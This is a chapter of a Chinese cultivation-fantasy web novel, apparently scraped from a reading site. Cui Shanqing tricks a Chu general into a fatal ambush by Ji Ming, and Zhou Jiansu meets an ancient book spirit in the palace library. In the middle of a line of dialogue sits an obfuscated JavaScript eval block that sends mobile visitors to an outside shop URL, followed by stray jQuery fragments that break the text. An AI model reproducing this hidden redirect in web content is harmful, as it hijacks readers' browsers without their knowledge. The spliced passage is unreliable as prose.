季明身在镇天府,仍然没有离开。

    楚朝驻军将领接到上级命令,一把揉碎传讯符,唤来下属:“准备准备,明天去天断谷。”

    下属愕然,脖子嗖一声伸得老长:“将军,天断谷可是天下五大绝地之一,修士有去无回,崔山青那群人都死得差不多了……”

    崔山青能活着回去,算他运气好,但……

    “你要抗令?”将军两眼瞪向颈侧那张脸,冷冷问。

    下属无力反抗,连忙缩回脖子,憋屈道:“不敢。”

    将军看着自己的下属离开,这才轻哼一声:“怂货。”

    等了一阵,他又跳脚骂道:“怂货!”

    不知是在骂谁。

    他在原地踱步,突然想起刚才提到的崔山青,轻呼一口气,立刻传讯过去:“崔兄,你去过天断谷,可知晓其中有什么危险?”

    崔山青正在飞驰。

    所有法诀中,他就数遁术修炼得最好,此刻身影忽隐忽现,不断遁入虚空,又不断被人轰断行踪,被迫跌出。

    崔山青一边跑,一边破口大骂:“该死的季明,杀千刀的玩意儿,追着老子是要干嘛,我是招你惹你了??真不是个东西!!”

    这时,楚朝将军的废话飘了过来。

    五大皇朝之间,各级将领有些私交,是上不管下不知的私事。当然,虽说私交,实际上也是死道友不死贫道的塑料友谊。

    崔山青此时被追得上天无路,入地无门,极度不满。逮着楚朝将军正要骂两句发泄,忽然福至心灵,笑歪了嘴,回道:“天断谷你还不知道?说是五大绝地,我们化神境也不是去不得。你要进去?”

    将军听了这番话,稍微松了口气:“上有命,我们这些臣属可不是只能奉命行事?”

    崔山青目光微凝。

    楚朝和周朝争斗已久,天断谷有什么?说白了,还不是冲着周朝刚寻回去的那位殿下?

    一想到周二皇子,崔山青就激灵灵打了个寒战。但他再回头看见背后紧追不舍的季明,畏惧就瞬间化作愤怒。

    他立刻折纸回信:“这好说,我这几日正准备去一趟,不过报酬嘛……”

    将军听到回讯,略有些迟疑,不过想来崔山青如果没有把握,也不敢入谷。

    两人聊了两句,定下报酬。崔山青终于图穷匕见:“现在我要收一点定金。道兄,你来我这里,我在炼药,正缺一味药材。”

    将军犹豫道:“你炼药,我来作甚?你崔山青手底下,还没几个道童?”

    “呸!”崔山青破口大骂,“你以为我想见你?要不是倒霉……你来不来?你敢不来,明天自己滚蛋!”

    将军略一思索,心道:大家都是化神,你崔山青还能害我不成?就算害我,跑总跑得掉。

    遂循着崔山青给出的阵纹,施展符法遁空而去。

    崔山青感应到空中波动,心神大定,停下逃窜的步伐,畅声大笑:“季明小儿,你再追我,定叫你有来无回!”

    回应他的,是季明的轻笑:“是吗?”

    将军一只脚从传送阵中踏出,一只眼睛在虚空中转动。他下意识地寻找崔山青的丹炉,却什么也没有看见。

    等传送阵彻底稳固,他终于看清自己所在之地,登时大骇!

    就在他的面前,一道惊天剑光横扫而来,所过之处,空间震颤,山河崩摧!

    “崔山青!”他惊怒交加,来不及怒斥对方,先祭起兵器,抵挡这一剑之威。

    崔山青刚才躲得老远,现在赶到他身边,尬笑道:“将军别气,咱们两个化神,还打不过他一个?”

    将军闻言精神一振。

    季明沉默不语,只是挥剑。

    剑在他手中如指臂使,强横无匹,将两大强者同时震得吐血倒飞。将军好不容易稳住身形,却见崔山青默不做声,竟转瞬间跑出了千万里地。

    “崔山青——!!”将军仰天怒吼。

    崔山青奔得极快,心道:死道友不死贫道,这季明也不知什么时候突破了化神后期,瞒着我们,要阴死人……

    呜呼,幸好我跑得快!

    他回头望去,只见将军被铺天盖地的剑光笼罩,转瞬间天地一空,连半丝气息都寻不到,竟是被季明削得神魂俱灭!

    崔山青后心发凉,遁术施展到极致,夺路而逃。

    他一边跑,一边琢磨:这季明紧追不放,究竟所为何事?

    他把自己知道的事情往前数了八百年,连当初夜探周朝诸王府的旧事都翻了出来,实在想不到什么值得被追杀。

    难不成……是为了天断谷一事?

    崔山青越想越惊悚。周朝新接回去一个皇子,这事已经传得天下皆知,现在季明要杀人灭口,是想隐瞒什么?

    难不成,天断谷内还有秘宝?

    或者说,那位皇子身上有更多的秘密?

    楚朝将军的死还是拖延了片刻。崔山青跑得老远,直到再也看不见季明的身影,终于能够停下来喘口气。

    他寻了处安全之地,一边疗伤,一边发狠:季明啊季明,你要瞒着天断谷和周见素的事情,我偏偏要给你捅破!

    千里之外,季明停下脚步,没有继续追上去。

    在他视线中,崔山青的踪迹无所遁形,但他却毫无反应,甚至笑了笑,拂袖离去。

    *

    面对周见素的疑问,裴昭略做思索:“季大人应仍在镇天府。”

    周见素目露疑惑之色。

    “季大人想必自有打算。”裴昭说出标准的废话,“不过最久三个月,一定会回到皇庭。”

    周见素听他这么说,就知道自己得不到答案了。

    按照常理,作为他的老师,季明更应该及时赶回皇都。镇天府有人看管,并不需要季明待在那边。

    周见素再次嗅到危险的味道。

    他拱手道:“多谢裴先生告知。我还想问问,宫中可有藏书阁?”

    这次裴昭给他指明了位置。

    周见素来到藏书阁前,才知道自己的想象力有多么匮乏。

    阁楼前云霞缭绕,门上挂着一个匾额,上书“万象楼”三字。楼高入云,一眼几乎望不到顶。

    这座阁楼外无人把守,周见素踏入其中,只觉得浑身微凉,好像有一道无形的目光,将他全身扫过。

    任不争跟在他身后,抬脚也要跟进去,却被一道柔光挡住。

    周见素见状,冲她摇摇头:“我一个人去看看。”

    他来这里的目的,是快速了解整个世界。

    他对这个世界的了解,大多数来自于几次出村卖药草的经历。

    第一次出门,他差点被抢劫,幸亏有好心人路见不平,拔刀相救。第二次出门遇见火并,一群人打架打到整条街被掀翻,是附近的学堂夫子出手制止。

    由此可见,这世界实在太乱。

    但这些了解都太浅薄,他还想知道这个世界的历史。

    让周见素惊喜的是,藏书阁里果然什么都有。

    不止内容多且杂,从《建国之路》到《造反需知》,从《我道唯我》到《化千万道》,容纳的形式也千奇百怪。

    周见素来到最左侧,探手一招,重重叠叠的玉简同时飞出。

    左侧的书基本和道法无关,大多数是周朝历史,名人手札,生物图册之类。

    他挑了看起来最正常的一本,身后冒出一个软质沙发,舒服地坐下去。

    玉简化作书册,触手微凉,看得出很久没有人翻阅,因此略有些滞涩。

    不知不觉,天色渐晚。周见素沉浸在读书的氛围中,没有动弹的打算,看了一本,又看下一本。

    不知何时,书本上投来的光线也幽暗下来,落在书册上,照出一个圆圆的影子。

    周见素翻书的手停在原地,瞬间毛骨悚然。

    那圆润的阴影,怎么看,都像是一个人的头颅。

    冷静些,这东西待在一国国都,又是皇宫之中,如果有恶意,不该没有人知道才对。

    周见素如此安慰自己,轻轻捻过下一页,动作看不出半点变形的迹象。

    只是翻页的动作慢了些,那影子立刻晃一晃,很亲热地凑得更近,呼吸吐在周见素脖颈边。

    周见素浑身起了一层薄汗。他从来不喜欢和别人挨得太近,顿时浑身难受,想动又不敢动。

    忽然,身侧响起一道童声:“怎么不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648335|206821||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    看了?”

    周见素的手指停在书上。他微微苦笑:“前辈突然出现,我心神动摇,已经无心再读。”

    那声音很惊讶地呀一声。

    周见素仔细地抚平书页,将书本缓缓合上。这童声听起来格外天真,他的猜测应该是对的,此人确实没有伤害他的意思。

    声音沉默了一会儿,再次响起,围绕着空旷的藏书阁,徐徐旋转:“你再看一会儿吧,我还想看。”

    两人于是一坐一站,就着周见素的手,看完了这本《开国手记》。

    周见素翻到最后一页,看见尾页写了字,洋洋洒洒数行,大意是如何统一治国与修行二者的关系,落款龙飞凤舞,入纸三分。

    他刚看完周国建国史,认出这是周朝太祖的名字。

    阴影落了下去,它的目光也随之转移开来。藏书阁顶仿造的天空风雨欲来,像一个人阴郁的心情。

    周见素见到这一幕,对这阴影的身份,已经猜出了一大半。

    阴影在周见素面前显出身形,是一个扎着双丫髻的女童:“万年来,你是第一个来看这些书的人。”

    周见素不觉得奇怪。这座藏书阁里的确包罗万象,但这可不是地球的古代,皇宫中都是修行之人,恐怕只对道法传承感兴趣。

    毕竟他们又不是自己这样的外来者。

    “既然没有人看,为什么要放进来?”

    女童在周见素身侧坐下:“太祖当年建藏书阁,说要装这些书。他说万一有人会喜欢呢?如果连单纯的书也没有,为什么要叫藏书阁。如果这些书都不放,为什么叫万象阁?”

    万象,包罗天地。

    此地藏书,确实没有辜负这个名字。在此读书,可识天下;此地珍藏,涵盖万物。

    只是……太祖连怎么造反都肯教?

    女童不知道他在想什么,抬手招来他下午看过的所有书籍,啧啧有声:“太祖手记,这么宝贵的东西,他们居然放着不看,哼……”

    周见素心道:谁叫我不懂历史呢。

    她继续往下翻:“用器百则,这是工匠的书,你也爱看?”

    这倒真没有。只是他走之前,天断谷院子里的浇水装置还没有做完,忍不住看看有没有更好的替代品。

    希望他回去的时候,院子里种的白菜还没有枯死。

    “舌尖上的大周,药园杂记,罕见动物名册,鸡鸭饲养手册……爱好还挺多。”

    周见素:“……”人不需要隐私吗?

    女童不在意隐私。她笑吟吟地把书册放回原位,难掩雀跃:“非常好!这么多年,终于等到你了。”

    等我?周见素想起季明口中含混不清的预言,试探着问:“你也是因为那个预言?”

    女童一怔,摇头道:“万年前,我和一个人打赌,他说这些书早就过时了。我不信,他就要我守在这里,哪天有人来看这些书,才许我出来。”

    难怪她要借自己的手看书。

    所以,她至少活了一万年。

    周见素原本想不明白的东西,忽然清晰了一些,但更多的疑惑也随之而来。

    那个与她打赌的又是谁?为什么能让她乖乖守在这里?

    “我该如何称呼前辈?”周见素小心试探。

    “叫我书灵就好。”

    书灵说:“你看了这些书,就是与我有缘。按照太祖的意思,该赐给你一道机缘……”

    书灵自言自语,微微点头,正要说些什么,忽然又警惕地看了周见素一眼,严肃道:“有缘归有缘,你可不许造反!”

    “为什么这么说?”

    书灵横眉冷对,很不高兴:“以前有人看了书,说他也想造反。我打他打得很累,很心烦,不想再打你了!”

    周见素当然也不想挨打,连忙解释:“我是太祖的后人,怎么会造他的反?”

    “那个人也是太祖的后人。”书灵反驳,“他可以这么想,你也可以。但你造反,我会打死你。”

    周见素顿时福至心灵,问:“他后来造反,被你打死了?”

    书灵很遗憾:“没有呢,后来他再也不来了,但是叫人给我送来了一本书,叫混沌五行诀,要我好好保管。”